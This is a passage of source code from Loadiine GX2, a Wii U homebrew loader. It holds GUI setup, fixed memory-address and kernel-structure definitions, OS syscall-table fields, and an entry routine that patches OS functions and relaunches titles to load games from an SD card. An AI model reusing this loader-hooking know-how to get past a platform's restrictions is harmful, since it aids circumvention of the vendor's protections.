details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "Application.h" #include "dynamic_libs/os_functions.h" #include "gui/FreeTypeGX.h" #include "gui/GuiImageAsync.h" #include "gui/VPadController.h" #include "gui/WPadController.h" #include "game/GameList.h" #include "resources/Resources.h" #include "settings/CSettings.h" #include "settings/CSettingsGame.h" #include "sounds/SoundHandler.hpp" #include "system/exception_handler.h" #include "controller_patcher/ControllerPatcher.hpp" #include "utils/logger.h" #include "common/retain_vars.h" //#include "controller_patcher/cp_retain_vars.h" #include "video/CursorDrawer.h" Application *Application::applicationInstance = NULL; bool Application::exitApplication = false; Application::Application() : CThread(CThread::eAttributeAffCore0 | CThread::eAttributePinnedAff, 0, 0x20000) , bgMusic(NULL) , video(NULL) , mainWindow(NULL) { controller[0] = new VPadController(GuiTrigger::CHANNEL_1); controller[1] = new WPadController(GuiTrigger::CHANNEL_2); controller[2] = new WPadController(GuiTrigger::CHANNEL_3); controller[3] = new WPadController(GuiTrigger::CHANNEL_4); controller[4] = new WPadController(GuiTrigger::CHANNEL_5); CSettings::instance()->Load(); //! load HID settings gHIDPADEnabled = CSettings::getValueAsU8(CSettings::HIDPadEnabled); //! load resources Resources::LoadFiles("sd:/wiiu/apps/loadiine_gx2/resources"); //! create bgMusic if(CSettings::getValueAsString(CSettings::BgMusicPath).empty()) { bgMusic = new GuiSound(Resources::GetFile("bgMusic.ogg"), Resources::GetFileSize("bgMusic.ogg")); } else { bgMusic = new GuiSound(CSettings::getValueAsString(CSettings::BgMusicPath).c_str()); } bgMusic->SetLoop(true); bgMusic->Play(); bgMusic->SetVolume(50); //! load language if(!CSettings::getValueAsString(CSettings::AppLanguage).empty()){ std::string languagePath = "sd:/wiiu/apps/loadiine_gx2/languages/" + CSettings::getValueAsString(CSettings::AppLanguage) + ".lang"; gettextLoadLanguage(languagePath.c_str()); } exitApplication = false; } Application::~Application() { GameList::destroyInstance(); CSettings::instance()->Save(); CSettings::destroyInstance(); CSettingsGame::destroyInstance(); delete bgMusic; for(int i = 0; i < 5; i++) delete controller[i]; //We may have to handle Asyncdelete in the Destructors. DEBUG_FUNCTION_LINE("Destroy async deleter\n"); do{ DEBUG_FUNCTION_LINE("Triggering AsyncDeleter\n"); AsyncDeleter::triggerDeleteProcess(); while(!AsyncDeleter::realListEmpty()){ os_usleep(1000); } }while(!AsyncDeleter::deleteListEmpty()); AsyncDeleter::destroyInstance(); GuiImageAsync::threadExit(); Resources::Clear(); SoundHandler::DestroyInstance(); gettextCleanUp(); if(!gHIDPADEnabled){ ControllerPatcher::destroyConfigHelper(); } CursorDrawer::destroyInstance(); } void Application::exec() { //! start main GX2 thread resumeThread(); //! now wait for thread to finish shutdownThread(); } void Application::fadeOut() { GuiImage fadeOut(video->getTvWidth(), video->getTvHeight(), (GX2Color){ 0, 0, 0, 255 }); for(int i = 0; i < 255; i += 10) { if(i > 255) i = 255; fadeOut.setAlpha(i / 255.0f); //! start rendering DRC video->prepareDrcRendering(); mainWindow->drawDrc(video); GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS); fadeOut.draw(video); GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); video->drcDrawDone(); //! start rendering TV video->prepareTvRendering(); mainWindow->drawTv(video); GX2SetDepthOnlyControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_ALWAYS); fadeOut.draw(video); GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); video->tvDrawDone(); //! as last point update the effects as it can drop elements mainWindow->updateEffects(); video->waitForVSync(); } //! one last cleared black screen video->prepareDrcRendering(); video->drcDrawDone(); video->prepareTvRendering(); video->tvDrawDone(); video->waitForVSync(); video->tvEnable(false); video->drcEnable(false); } void Application::executeThread(void) { //! setup exceptions on the main GX2 core setup_os_exceptions(); DEBUG_FUNCTION_LINE("Loading game list\n"); GameList::instance()->loadUnfiltered(); DEBUG_FUNCTION_LINE("Initialize video\n"); video = new CVideo(GX2_TV_SCAN_MODE_720P, GX2_DRC_SINGLE); DEBUG_FUNCTION_LINE("Video size %i x %i\n", video->getTvWidth(), video->getTvHeight()); //! setup default Font DEBUG_FUNCTION_LINE("Initialize main font system\n"); FreeTypeGX *fontSystem = new FreeTypeGX(Resources::GetFile("font.ttf"), Resources::GetFileSize("font.ttf"), true); GuiText::setPresetFont(fontSystem); DEBUG_FUNCTION_LINE("Initialize main window\n"); mainWindow = new MainWindow(video->getTvWidth(), video->getTvHeight()); DEBUG_FUNCTION_LINE("Entering main loop\n"); //! main GX2 loop (60 Hz cycle with max priority on core 1) while(!exitApplication) { mainWindow->lockGUI(); //! Read out inputs for(int i = 0; i < 5; i++) { if(controller[i]->update(video->getTvWidth(), video->getTvHeight()) == false) continue; if(controller[i]->data.buttons_d & VPAD_BUTTON_HOME) exitApplication = true; //! update controller states mainWindow->update(controller[i]); } //! start rendering DRC video->prepareDrcRendering(); mainWindow->drawDrc(video); video->drcDrawDone(); //! start rendering TV video->prepareTvRendering(); mainWindow->drawTv(video); video->tvDrawDone(); //! enable screen after first frame render if(video->getFrameCount() == 0) { video->tvEnable(true); video->drcEnable(true); } //! as last point update the effects as it can drop elements mainWindow->updateEffects(); mainWindow->unlockGUI(); video->waitForVSync(); //! transfer elements to real delete list here after all processes are finished //! the elements are transfered to another list to delete the elements in a separate thread //! and avoid blocking the GUI thread AsyncDeleter::triggerDeleteProcess(); } fadeOut(); delete mainWindow; delete fontSystem; delete video; } ================================================ FILE: src/Application.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _APPLICATION_H #define _APPLICATION_H #include "menu/MainWindow.h" #include "video/CVideo.h" #include "system/CThread.h" class Application : public CThread { public: static Application * instance() { if(!applicationInstance) applicationInstance = new Application(); return applicationInstance; } static void destroyInstance() { if(applicationInstance) { delete applicationInstance; applicationInstance = NULL; } } CVideo *getVideo(void) const { return video; } MainWindow *getMainWindow(void) const { return mainWindow; } GuiSound *getBgMusic(void) const { return bgMusic; } void exec(void); void fadeOut(void); void quit(void) { exitApplication = true; } private: Application(); virtual ~Application(); static Application *applicationInstance; static bool exitApplication; void executeThread(void); GuiSound *bgMusic; CVideo *video; MainWindow *mainWindow; GuiController *controller[5]; }; #endif //_APPLICATION_H ================================================ FILE: src/common/common.h ================================================ #ifndef COMMON_H #define COMMON_H #ifdef __cplusplus extern "C" { #endif #define LOADIINE_VERSION "v0.3" #define IS_USING_MII_MAKER 1 /* Loadiine common paths */ #define CAFE_OS_SD_PATH "/vol/external01" #define SD_PATH "sd:" #define USB_PATH "usb:" #define WIIU_PATH "/wiiu" #define GAMES_PATH "/games" #define SAVES_PATH "/saves" #define SD_GAMES_PATH WIIU_PATH GAMES_PATH #define SD_SAVES_PATH WIIU_PATH SAVES_PATH #define CONTENT_PATH "/content" #define RPX_RPL_PATH "/code" #define META_PATH "/meta" /* file replacement */ #define UPDATE_PATH "/updates" #define COMMON_UPDATE_PATH "" #define FILELIST_NAME "filelist.txt" #define DIR_IDENTIFY "?" /* maximum length = 1*/ #define PARENT_DIR_IDENTIFY "?.." /* Macros for libs */ #define LIB_CORE_INIT 0 #define LIB_NSYSNET 1 #define LIB_GX2 2 #define LIB_AOC 3 #define LIB_AX 4 #define LIB_FS 5 #define LIB_OS 6 #define LIB_PADSCORE 7 #define LIB_SOCKET 8 #define LIB_SYS 9 #define LIB_VPAD 10 #define LIB_NN_ACP 11 #define LIB_SYSHID 12 #define LIB_VPADBASE 13 #define LIB_AX_OLD 14 #define LIB_PROC_UI 15 #define LIB_NTAG 16 #define LIB_NFP 17 #define LIB_SAVE 18 #define LIB_ACT 19 #define LIB_NIM 20 // functions types #define STATIC_FUNCTION 0 #define DYNAMIC_FUNCTION 1 // none dynamic libs #define LIB_LOADER 0x1001 /* Loadiine Modes */ #define LOADIINE_MODE_MII_MAKER 0 #define LOADIINE_MODE_SMASH_BROS 1 #define LOADIINE_MODE_KARAOKE 2 #define LOADIINE_MODE_ART_ATELIER 3 #define LOADIINE_MODE_DEFAULT 255 /* homebrew launcher return codes */ #ifndef EXIT_SUCCESS #define EXIT_SUCCESS 0 #endif #define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD /* RPX Address : where the rpx is copied or retrieve, depends if we dump or replace */ /* Note : from phys 0x30789C5D to 0x31E20000, memory seems empty (space reserved for root.rpx) which let us approximatly 22.5mB of memory free to put the rpx and additional rpls */ #ifndef MEM_BASE #define MEM_BASE (0x00800000) #endif #define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) #define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) #define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) #define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) #define PREP_TITLE_CALLBACK (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x08)) #define SERVER_IP (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x0C)) #define RPX_CHECK_NAME (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x10)) #define GAME_RPX_LOADED (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x14)) #define GAME_LAUNCHED (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x18)) #define LOADIINE_MODE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x1C)) // loadiine operation mode (1 = smash bros, 0 = mii maker) #define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) typedef struct _game_paths_t { char os_game_path_base[511]; char os_save_path_base[511]; char game_dir[255]; char update_folder[255]; char save_dir_common[10]; char save_dir_user[10]; int extraSave; } game_paths_t; #ifdef __cplusplus } #endif #endif /* COMMON_H */ ================================================ FILE: src/common/kernel_defs.h ================================================ #ifndef __KERNEL_DEFS_H_ #define __KERNEL_DEFS_H_ #include "types.h" #include "dynamic_libs/fs_defs.h" #ifdef __cplusplus extern "C" { #endif // original structure in the kernel that is originally 0x1270 long typedef struct { uint32_t version_cos_xml; // version tag from cos.xml uint64_t os_version; // os_version from app.xml uint64_t title_id; // title_id tag from app.xml uint32_t app_type; // app_type tag from app.xml uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) char rpx_name[0x1000]; // rpx name from cos.xml uint32_t unknown2; // 0x050B8304 in mii maker and system menu (looks a bit like permissions complex that got masked!?) uint32_t unknown3[63]; // those were all zeros, but its probably connected with unknown2 uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) uint32_t max_codesize; // max_codesize in cos.xml uint32_t overlay_arena; // overlay_arena in cos.xml uint32_t unknown4[59]; // all zeros it seems uint32_t default_stack0_size; // not sure because always 0 but very likely uint32_t default_stack1_size; // not sure because always 0 but very likely uint32_t default_stack2_size; // not sure because always 0 but very likely uint32_t default_redzone0_size; // not sure because always 0 but very likely uint32_t default_redzone1_size; // not sure because always 0 but very likely uint32_t default_redzone2_size; // not sure because always 0 but very likely uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker uint32_t title_version; // from app.xml, 0x32 on mii maker /* // --------------------------------------------------------------------------------------------------------------------------------------------- // the next part might be changing from title to title?! I don't think its important but nice to know maybe.... // --------------------------------------------------------------------------------------------------------------------------------------------- char mlc[4]; // string "mlc" on mii maker and sysmenu uint32_t unknown5[7]; // all zeros on mii maker and sysmenu uint32_t unknown6_one; // 0x01 on mii maker and sysmenu // --------------------------------------------------------------------------------------------------------------------------------------------- char ACP[4]; // string "ACP" on mii maker and sysmenu uint32_t unknown7[15]; // all zeros on mii maker and sysmenu uint32_t unknown8_5; // 0x05 on mii maker and sysmenu uint32_t unknown9_zero; // 0x00 on mii maker and sysmenu uint32_t unknown10_ptr; // 0xFF23DD0C pointer on mii maker and sysmenu // --------------------------------------------------------------------------------------------------------------------------------------------- char UVD[4]; // string "UVD" on mii maker and sysmenu uint32_t unknown11[15]; // all zeros on mii maker and sysmenu uint32_t unknown12_5; // 0x05 on mii maker and sysmenu uint32_t unknown13_zero; // 0x00 on mii maker and sysmenu uint32_t unknown14_ptr; // 0xFF23EFC8 pointer on mii maker and sysmenu // --------------------------------------------------------------------------------------------------------------------------------------------- char SND[4]; // string "SND" on mii maker and sysmenu uint32_t unknown15[15]; // all zeros on mii maker and sysmenu uint32_t unknown16_5; // 0x05 on mii maker and sysmenu uint32_t unknown17_zero; // 0x00 on mii maker and sysmenu uint32_t unknown18_ptr; // 0xFF23F014 pointer on mii maker and sysmenu // --------------------------------------------------------------------------------------------------------------------------------------------- uint32_t unknown19; // 0x02 on miimaker, 0x0F on system menu */ // after that only zeros follow } __attribute__((packed)) CosAppXmlInfo; // Our own cos/app.xml struct which uses only uses as much memory as really needed, since many things are just zeros in the above structure // This structure is only 0x64 bytes long + RPX name length (dynamic up to 0x1000 theoretically) typedef struct { uint32_t version_cos_xml; // version tag from cos.xml uint64_t os_version; // os_version from app.xml uint64_t title_id; // title_id tag from app.xml uint32_t app_type; // app_type tag from app.xml uint32_t cmdFlags; // unknown tag as it is always 0 (might be cmdFlags from cos.xml but i am not sure) uint32_t max_size; // max_size in cos.xml which defines the maximum amount of memory reserved for the app uint32_t avail_size; // avail_size or codegen_size in cos.xml (seems to mostly be 0?) uint32_t codegen_size; // codegen_size or avail_size in cos.xml (seems to mostly be 0?) uint32_t codegen_core; // codegen_core in cos.xml (seems to mostly be 1?) uint32_t max_codesize; // max_codesize in cos.xml uint32_t overlay_arena; // overlay_arena in cos.xml uint32_t default_stack0_size; // not sure because always 0 but very likely uint32_t default_stack1_size; // not sure because always 0 but very likely uint32_t default_stack2_size; // not sure because always 0 but very likely uint32_t default_redzone0_size; // not sure because always 0 but very likely uint32_t default_redzone1_size; // not sure because always 0 but very likely uint32_t default_redzone2_size; // not sure because always 0 but very likely uint32_t exception_stack0_size; // from cos.xml, 0x1000 on mii maker uint32_t exception_stack1_size; // from cos.xml, 0x1000 on mii maker uint32_t exception_stack2_size; // from cos.xml, 0x1000 on mii maker uint32_t sdk_version; // from app.xml, 20909 (0x51AD) on mii maker uint32_t title_version; // from app.xml, 0x32 on mii maker char rpx_name[FS_MAX_ENTNAME_SIZE]; // rpx name from cos.xml, length 256 as it can't get bigger from FS anyway } __attribute__((packed)) ReducedCosAppXmlInfo; typedef struct _bat_t { u32 h; u32 l; } bat_t; typedef struct _bat_table_t { bat_t bat[8]; } bat_table_t; #ifdef __cplusplus } #endif #endif // __KERNEL_DEFS_H_ ================================================ FILE: src/common/loader_defs.h ================================================ #ifndef __LOADER_DEFS_H_ #define __LOADER_DEFS_H_ #include "types.h" #ifdef __cplusplus extern "C" { #endif // struct holding the globals of the loader (there are actually more but we don't need others) typedef struct _loader_globals_t { int sgIsLoadingBuffer; int sgFileType; int sgProcId; int sgGotBytes; int sgFileOffset; int sgBufferNumber; int sgBounceError; char sgLoadName[0x1000]; } __attribute__((packed)) loader_globals_t; typedef struct _loader_globals_550_t { int sgFinishedLoadingBuffer; int sgFileType; int sgProcId; int sgGotBytes; int sgTotalBytes; int sgFileOffset; int sgBufferNumber; int sgBounceError; char sgLoadName[0x1000]; } __attribute__((packed)) loader_globals_550_t; #ifdef __cplusplus } #endif #endif // __LOADER_DEFS_H_ ================================================ FILE: src/common/os_defs.h ================================================ #ifndef __OS_DEFS_H_ #define __OS_DEFS_H_ #ifdef __cplusplus extern "C" { #endif typedef struct _OsSpecifics { unsigned int addr_OSDynLoad_Acquire; unsigned int addr_OSDynLoad_FindExport; unsigned int addr_OSTitle_main_entry; unsigned int addr_KernSyscallTbl1; unsigned int addr_KernSyscallTbl2; unsigned int addr_KernSyscallTbl3; unsigned int addr_KernSyscallTbl4; unsigned int addr_KernSyscallTbl5; } OsSpecifics; #ifdef __cplusplus } #endif #endif // __OS_DEFS_H_ ================================================ FILE: src/common/retain_vars.c ================================================ #include u8 gSettingLaunchPyGecko __attribute__((section(".data"))) = 0; u8 gSettingUseUpdatepath __attribute__((section(".data"))) = 0; u8 gSettingPadconMode __attribute__((section(".data"))) = 0; u8 gCursorInitDone __attribute__((section(".data"))) = 0; u8 gPatchSDKDone __attribute__((section(".data"))) = 0; u8 gHIDPADEnabled __attribute__((section(".data"))) = 0; u8 gHIDPADRumble __attribute__((section(".data"))) = 0; u8 gHIDPADNetwork __attribute__((section(".data"))) = 0; u8 gEnableDLC __attribute__((section(".data"))) = 0; u32 gLoaderPhysicalBufferAddr __attribute__((section(".data"))) = 0; u32 gLogUDP __attribute__((section(".data"))) = 0; char gServerIP[16] __attribute__((section(".data"))); ================================================ FILE: src/common/retain_vars.h ================================================ #ifndef RETAINS_VARS_H_ #define RETAINS_VARS_H_ #include extern u8 gSettingLaunchPyGecko; extern u8 gSettingUseUpdatepath; extern u8 gSettingPadconMode; extern u8 gCursorInitDone; extern u8 gPatchSDKDone; extern u8 gHIDPADEnabled; extern u8 gHIDPADRumble; extern u8 gHIDPADNetwork; extern u8 gEnableDLC; extern u32 gLoaderPhysicalBufferAddr; extern char gServerIP[16]; #endif // RETAINS_VARS_H_ ================================================ FILE: src/common/types.h ================================================ #ifndef TYPES_H #define TYPES_H #include #endif /* TYPES_H */ ================================================ FILE: src/entry.cpp ================================================ #include #include "dynamic_libs/os_functions.h" #include "dynamic_libs/sys_functions.h" #include "dynamic_libs/socket_functions.h" #include "dynamic_libs/aoc_functions.h" #include "dynamic_libs/gx2_functions.h" #include "dynamic_libs/syshid_functions.h" #include "fs/sd_fat_devoptab.h" #include "utils/function_patcher.h" #include "controller_patcher/ControllerPatcher.hpp" #include "patcher/cpp_to_c_util.h" #include "patcher/pygecko.h" #include "common/common.h" #include "common/retain_vars.h" #include "utils/utils.h" #include "utils/logger.h" #include "video/CursorDrawer.h" #include "main.h" extern "C" int __entry_menu(int argc, char **argv) { //! Launch PyGecko if requested if (GAME_LAUNCHED && gSettingLaunchPyGecko) { start_pygecko(); } InitOSFunctionPointers(); InitSocketFunctionPointers(); InitAocFunctionPointers(); InitACPFunctionPointers(); InitFSFunctionPointers(); log_init(); //!******************************************************************* //! Initialize HID Config * //!******************************************************************* mount_sd_fat("sd"); ControllerPatcher::Init(CONTROLLER_PATCHER_PATH); unmount_sd_fat("sd"); ControllerPatcher::disableControllerMapping(); if(gHIDPADNetwork){ ControllerPatcher::startNetworkServer(); } ControllerPatcher::setRumbleActivated(gHIDPADRumble); //!******************************************************************* //! Dynamic Patching * //!******************************************************************* if(GAME_LAUNCHED){ ApplyPatches(); } //! ******************************************************************* //! * Check if our application is started * //! ******************************************************************* if (OSGetTitleID != 0 && OSGetTitleID() != 0x000500101004A200 && // mii maker eur OSGetTitleID() != 0x000500101004A100 && // mii maker usa OSGetTitleID() != 0x000500101004A000 && // mii maker jpn OSGetTitleID() != 0x0005000013374842) // hbl channel { return EXIT_RELAUNCH_ON_LOAD; } //!******************************************************************* //! Check game launch * //!******************************************************************* // check if game is launched, if yes continue coreinit process if ((GAME_LAUNCHED == 1) && (LOADIINE_MODE == LOADIINE_MODE_MII_MAKER)) return EXIT_RELAUNCH_ON_LOAD; //! ******************************************************************* //! * Setup EABI registers * //! ******************************************************************* register int old_sdata_start, old_sdata2_start; asm volatile( "mr %0, 13\n" "mr %1, 2\n" "lis 2, __sdata2_start@h\n" "ori 2, 2,__sdata2_start@l\n" // Set the Small Data 2 (Read Only) base register. "lis 13, __sdata_start@h\n" "ori 13, 13, __sdata_start@l\n"// # Set the Small Data (Read\Write) base register. : "=r" (old_sdata_start), "=r" (old_sdata2_start) ); //!******************************************************************* //! Initialize BSS sections * //!******************************************************************* asm volatile( "lis 3, __bss_start@h\n" "ori 3, 3,__bss_start@l\n" "lis 5, __bss_end@h\n" "ori 5, 5, __bss_end@l\n" "subf 5, 3, 5\n" "li 4, 0\n" "bl memset\n" ); //! ******************************************************************* //! * Call our Main * //! ******************************************************************* Menu_Main(); //! ******************************************************************* //! * Restore EABI registers * //! ******************************************************************* asm volatile("mr 13, %0" : : "r" (old_sdata_start)); asm volatile("mr 2, %0" : : "r" (old_sdata2_start)); if(GAME_LAUNCHED) { if (LOADIINE_MODE == LOADIINE_MODE_SMASH_BROS) { if(SYSCheckTitleExists(0x0005000010145000)) { // EUR SYSLaunchTitle(0x0005000010145000); } else if(SYSCheckTitleExists(0x0005000010144F00)) { // USA SYSLaunchTitle(0x0005000010144F00); } else if(SYSCheckTitleExists(0x0005000010110E00)) { // JAP SYSLaunchTitle(0x0005000010110E00); } else { // Launch smash bros disk without exiting to menu char buf_vol_odd[20]; strcpy(buf_vol_odd, "/vol/storage_odd03"); _SYSLaunchTitleByPathFromLauncher(buf_vol_odd, 18, 0); } } else if(LOADIINE_MODE == LOADIINE_MODE_MII_MAKER) { // Restart mii maker SYSRelaunchTitle(0, 0); __Exit(); } //! TODO: add auto launch with SYSLaunchTitle for Karaoke and Art Atelier Modes //! ******************************************************************* //! * Jump to original application * //! ******************************************************************* return EXIT_RELAUNCH_ON_LOAD; } RestoreAllInstructions(); CursorDrawer::destroyInstance(); ControllerPatcher::DeInit(); ControllerPatcher::stopNetworkServer(); //! ******************************************************************* //! * Jump to homebrew launcher * //! ******************************************************************* return EXIT_SUCCESS; } ================================================ FILE: src/fs/CFile.cpp ================================================ #include #include #include "CFile.hpp" CFile::CFile() { iFd = -1; mem_file = NULL; filesize = 0; pos = 0; } CFile::CFile(const std::string & filepath, eOpenTypes mode) { iFd = -1; this->open(filepath, mode); } CFile::CFile(const u8 * mem, int size) { iFd = -1; this->open(mem, size); } CFile::~CFile() { this->close(); } int CFile::open(const std::string & filepath, eOpenTypes mode) { this->close(); s32 openMode = 0; switch(mode) { default: case ReadOnly: openMode = O_RDONLY; break; case WriteOnly: openMode = O_WRONLY; break; case ReadWrite: openMode = O_RDWR; break; case Append: openMode = O_APPEND | O_WRONLY; break; } //! Using fopen works only on the first launch as expected //! on the second launch it causes issues because we don't overwrite //! the .data sections which is needed for a normal application to re-init //! this will be added with launching as RPX iFd = ::open(filepath.c_str(), openMode); if(iFd < 0) return iFd; filesize = ::lseek(iFd, 0, SEEK_END); ::lseek(iFd, 0, SEEK_SET); return 0; } int CFile::open(const u8 * mem, int size) { this->close(); mem_file = mem; filesize = size; return 0; } void CFile::close() { if(iFd >= 0) ::close(iFd); iFd = -1; mem_file = NULL; filesize = 0; pos = 0; } int CFile::read(u8 * ptr, size_t size) { if(iFd >= 0) { int ret = ::read(iFd, ptr,size); if(ret > 0) pos += ret; return ret; } int readsize = size; if(readsize > (s64) (filesize-pos)) readsize = filesize-pos; if(readsize <= 0) return readsize; if(mem_file != NULL) { memcpy(ptr, mem_file+pos, readsize); pos += readsize; return readsize; } return -1; } int CFile::write(const u8 * ptr, size_t size) { if(iFd >= 0) { size_t done = 0; while(done < size) { int ret = ::write(iFd, ptr, size - done); if(ret <= 0) return ret; ptr += ret; done += ret; pos += ret; } return done; } return -1; } int CFile::seek(long int offset, int origin) { int ret = 0; s64 newPos = pos; if(origin == SEEK_SET) { newPos = offset; } else if(origin == SEEK_CUR) { newPos += offset; } else if(origin == SEEK_END) { newPos = filesize+offset; } if(newPos < 0) { pos = 0; } else { pos = newPos; } if(iFd >= 0) ret = ::lseek(iFd, pos, SEEK_SET); if(mem_file != NULL) { if(pos > filesize) { pos = filesize; } } return ret; } int CFile::fwrite(const char *format, ...) { int result = -1; char * tmp = NULL; va_list va; va_start(va, format); if((vasprintf(&tmp, format, va) >= 0) && tmp) { result = this->write((u8 *)tmp, strlen(tmp)); } va_end(va); if(tmp) free(tmp); return result; } ================================================ FILE: src/fs/CFile.hpp ================================================ #ifndef CFILE_HPP_ #define CFILE_HPP_ #include #include #include #include #include #include class CFile { public: enum eOpenTypes { ReadOnly, WriteOnly, ReadWrite, Append }; CFile(); CFile(const std::string & filepath, eOpenTypes mode); CFile(const u8 * memory, int memsize); virtual ~CFile(); int open(const std::string & filepath, eOpenTypes mode); int open(const u8 * memory, int memsize); bool isOpen() const { if(iFd >= 0) return true; if(mem_file) return true; return false; } void close(); int read(u8 * ptr, size_t size); int write(const u8 * ptr, size_t size); int fwrite(const char *format, ...); int seek(long int offset, int origin); u64 tell() { return pos; }; u64 size() { return filesize; }; void rewind() { this->seek(0, SEEK_SET); }; protected: int iFd; const u8 * mem_file; u64 filesize; u64 pos; }; #endif ================================================ FILE: src/fs/DirList.cpp ================================================ /**************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * DirList Class * for WiiXplorer 2010 ***************************************************************************/ #include #include #include #include #include #include #include #include "DirList.h" #include "utils/StringTools.h" DirList::DirList() { Flags = 0; Filter = 0; } DirList::DirList(const std::string & path, const char *filter, u32 flags) { this->LoadPath(path, filter, flags); this->SortList(); } DirList::~DirList() { ClearList(); } bool DirList::LoadPath(const std::string & folder, const char *filter, u32 flags) { if(folder.empty()) return false; Flags = flags; Filter = filter; std::string folderpath(folder); u32 length = folderpath.size(); //! clear path of double slashes RemoveDoubleSlashs(folderpath); //! remove last slash if exists if(length > 0 && folderpath[length-1] == '/') folderpath.erase(length-1); return InternalLoadPath(folderpath); } bool DirList::InternalLoadPath(std::string &folderpath) { if(folderpath.size() < 3) return false; struct dirent *dirent = NULL; DIR *dir = NULL; dir = opendir(folderpath.c_str()); if (dir == NULL) return false; while ((dirent = readdir(dir)) != 0) { bool isDir = dirent->d_type & DT_DIR; const char *filename = dirent->d_name; if(isDir) { if(strcmp(filename,".") == 0 || strcmp(filename,"..") == 0) continue; if(Flags & CheckSubfolders) { int length = folderpath.size(); if(length > 2 && folderpath[length-1] != '/') folderpath += '/'; folderpath += filename; InternalLoadPath(folderpath); folderpath.erase(length); } if(!(Flags & Dirs)) continue; } else if(!(Flags & Files)) { continue; } if(Filter) { char * fileext = strrchr(filename, '.'); if(!fileext) continue; if(strtokcmp(fileext, Filter, ",") == 0) AddEntrie(folderpath, filename, isDir); } else { AddEntrie(folderpath, filename, isDir); } } closedir(dir); return true; } void DirList::AddEntrie(const std::string &filepath, const char * filename, bool isDir) { if(!filename) return; // Don't list hidden OS X files if(filename[0] == '.' && filename[1] == '_') return; int pos = FileInfo.size(); FileInfo.resize(pos+1); FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2); if(!FileInfo[pos].FilePath) { FileInfo.resize(pos); return; } sprintf(FileInfo[pos].FilePath, "%s/%s", filepath.c_str(), filename); FileInfo[pos].isDir = isDir; } void DirList::ClearList() { for(u32 i = 0; i < FileInfo.size(); ++i) { if(FileInfo[i].FilePath) free(FileInfo[i].FilePath); } FileInfo.clear(); std::vector().swap(FileInfo); } const char * DirList::GetFilename(int ind) const { if (!valid(ind)) return ""; return FullpathToFilename(FileInfo[ind].FilePath); } static bool SortCallback(const DirEntry & f1, const DirEntry & f2) { if(f1.isDir && !(f2.isDir)) return true; if(!(f1.isDir) && f2.isDir) return false; if(f1.FilePath && !f2.FilePath) return true; if(!f1.FilePath) return false; if(strcasecmp(f1.FilePath, f2.FilePath) > 0) return false; return true; } void DirList::SortList() { if(FileInfo.size() > 1) std::sort(FileInfo.begin(), FileInfo.end(), SortCallback); } void DirList::SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b)) { if(FileInfo.size() > 1) std::sort(FileInfo.begin(), FileInfo.end(), SortFunc); } u64 DirList::GetFilesize(int index) const { struct stat st; const char *path = GetFilepath(index); if(!path || stat(path, &st) != 0) return 0; return st.st_size; } int DirList::GetFileIndex(const char *filename) const { if(!filename) return -1; for (u32 i = 0; i < FileInfo.size(); ++i) { if (strcasecmp(GetFilename(i), filename) == 0) return i; } return -1; } ================================================ FILE: src/fs/DirList.h ================================================ /**************************************************************************** * Copyright (C) 2010 * by Dimok * * This software is provided 'as-is', without any express or implied * warranty. In no event will the authors be held liable for any * damages arising from the use of this software. * * Permission is granted to anyone to use this software for any * purpose, including commercial applications, and to alter it and * redistribute it freely, subject to the following restrictions: * * 1. The origin of this software must not be misrepresented; you * must not claim that you wrote the original software. If you use * this software in a product, an acknowledgment in the product * documentation would be appreciated but is not required. * * 2. Altered source versions must be plainly marked as such, and * must not be misrepresented as being the original software. * * 3. This notice may not be removed or altered from any source * distribution. * * DirList Class * for WiiXplorer 2010 ***************************************************************************/ #ifndef ___DIRLIST_H_ #define ___DIRLIST_H_ #include #include #include typedef struct { char * FilePath; bool 